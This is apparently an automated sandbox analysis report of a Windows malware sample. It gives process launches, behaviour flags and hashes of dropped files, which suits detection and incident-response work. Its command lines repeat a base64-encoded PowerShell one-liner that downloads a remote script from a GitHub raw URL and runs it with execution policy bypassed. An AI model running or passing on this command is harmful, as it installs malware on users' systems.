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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1724
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2384
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\RESAB53.tmp
- Size 1KB
- SHA256 382982be7458fe044ecffdce1646debccc0ba0be5dd151fe4d07081a814bf127
- MD5 b1cd60876f4fcbe09181924dfb2a6fd2
- SHA1 3400d5ba4aafd6e98a979ee6b860ddd0c6f2c852
- SHA512 efe62a98ff28251fc64d6a029b275475907dfef509326e0757923b7c96355c88b52b70ce58da1e0877bd151f9ed6be35a916f3011e671bad99b08858359c5f00
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_baupiqcw.s3h.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\dcjzwavs\dcjzwavs.dll
- Size 3KB
- SHA256 4864d2a72a31d53b568707e19028f4bf46f205c84936cdd2ec00a69a4d0dc4cd
- MD5 12ce731ec3dfa43cde47c9bec0759759
- SHA1 be06dfa9efdd64b006887839d5b01cbb5ae5db84
- SHA512 d7d83b92b6bc85c4a1e0b9051d22be5b41219ac1b9aa08fce5927b5b822e765595d635b6d2ab744790c33d0c8213c8c7e935c27623cf5045c36553643530406f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
- Size 2.5MB
- SHA256 f92f29a5e41c25e32ad83a71e9e2a54c87f91c966cb90fdd3b1289bad824b021
- MD5 f49b7639c86923a9507b594feb5df523
- SHA1 e3a058aa2ae06ee0d8e1c3d47d790181651744a1
- SHA512 c68858888ea64affa95b3e51e3d3ef43d12e8628f5a09fdb5f33319f1cb5a23df9506a2dfb797445f77cf7120e79f9d0c9ddd25a567dab81cce0c3751903c804
- SSDEEP 49152:AUZ6h4HRZmaxjtmXDNjXbt1fYFTcPjDbwPWdFOE:q
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\ready.ps1
- Size 1KB
- SHA256 abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9
- MD5 28d9755addec05c0b24cca50dfe3a92b
- SHA1 7d3156f11c7a7fb60d29809caf93101de2681aa3
- SHA512 891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42
- MD5 SHA1 SHA512
- Path C:\Windows\Branding\mediasrv.png
- Size 60KB
- SHA256 e39445c5f61c431be3b0ce753487e9a6439b5bfb813cf21116b77fb7d0696fa9
- MD5 5410b592605e57a4a01c66b0a1f0d10d
- SHA1 afa4acf032d537dd46e997891fc7f9bba9555679
- SHA512 4ce9816c61e58834c1713d0abcf6305d565b7a52c1d2d2f63d8b7c5b69314d959205ea70af084ef74759820114c8b938800513e0dda43d699f0454189b5fbdca
- SSDEEP 1536:TB8bEyOr7vEheW2USHNzYzEv+Co/d9g5L:TB8bEyO/vyenUozx+J0
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Branding\mediasvc.png
- Size 743KB
- SHA256 a66a31069c3d37207c33b0dc1a9a0d1bbe85a0dd78168f598edfebe07c3d4e22
- MD5 37b7b51385d6b857d082976c035c86e0
- SHA1 c2ec7d74e7d555375cdcca0407237dd3e7db2a24
- SHA512 8bc897adf02406478a4bc6a24efcfcd699e2fa7aa7e82c8bd6d05f6b5922143866039d533ae8730dbd0d76c7745cbda86d4c4174a298bf29be1a80c7a1eaf403
- SSDEEP 12288:0K/B5QF5BV3wW9uD/mhCQFhvLulYMoGoPMP7ki0NKGAj6NM925S:TB5QzB2W9xhzulYMoGoU7MVAjuZ
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGID9C6.tmp
- Size 24KB
- SHA256 3e6520cd56070637daa5c3d596e57e6b5e3bd1a25a08804ccea1ce4f50358744
- MD5 d0e162c0bd0629323ebb1ed88df890d6
- SHA1 cf3fd2652cdb6ff86d1df215977454390ed4d7bc
- SHA512 a9c82f1116fce7052d1c45984e87b8f3b9f9afeb16be558fd1ecbd54327350344f37f32bc5d4baabd3e1cf3ac0de75c8ba569c1e34aaf1094cd04641d137c117
- SSDEEP 192:D161V1+hcTueeCSh5e29gEK6WK2SpCSPQVsYIF8SYLzoDpjF/qTUqYjZ2l5gnJQT:D12+hcTueeCSXe29KSLIzw3VgYJQT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\rfxvmt.dll
- Size 40KB
- SHA256 6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
- MD5 dc39d23e4c0e681fad7a3e1342a2843c
- SHA1 58fd7d50c2dca464a128f5e0435d6f0515e62073
- SHA512 5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
- SSDEEP 768:LXDwpWUg0pEiUMoJ6HvQN93cXZ3uV1AX+qw51QnVJL0EAX6tN:dM7PQP3mA+5n+6tN
- MD5 SHA1 SHA512 SSDEEP
- Path \??\c:\Users\Admin\AppData\Local\Temp\dcjzwavs\CSC660E0514DB234634B9F1EB3B5D551086.TMP
- Size 652B
- SHA256 095ad8fc1809e3b2c48e11e68dc16231f9e2f835f31c860cb095c144dea6cb6b
- MD5 73762d30df60c371bfc277e68c209a74
- SHA1 baf052b33df7cd38ebdfb9c0faa768384dd7426b
- SHA512 ec4fb99f26285209cc687aa97c47159b0bf3c299a2631d011c40745c3b54701ba220f0a42f158e431c5b6295f3f014210de1978222737dac80fa6f7f7733dd57
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\dcjzwavs\dcjzwavs.0.cs
- Size 424B
- SHA256 e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9
- MD5 9f8ab7eb0ab21443a2fe06dab341510e
- SHA1 2b88b3116a79e48bab7114e18c9b9674e8a52165
- SHA512 53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\dcjzwavs\dcjzwavs.cmdline
- Size 369B
- SHA256 184c14ac36b13889f27a154e820279ba265fbf94246d676ca06025f7a0e882d5
- MD5 171b47ebb5227de44da9a915c0f2d478
- SHA1 564da2fbd1eec3a328223330a337edd0dc9e277c
- SHA512 803ae83fe11e1e26a24bfe9fc6e622f4e69afabf149ce67832c2ee891dca8d4bc81e6788dbb4f73687521d4ffb998df55c6954386a40fd65eb823fd06b190f86
- MD5 SHA1 SHA512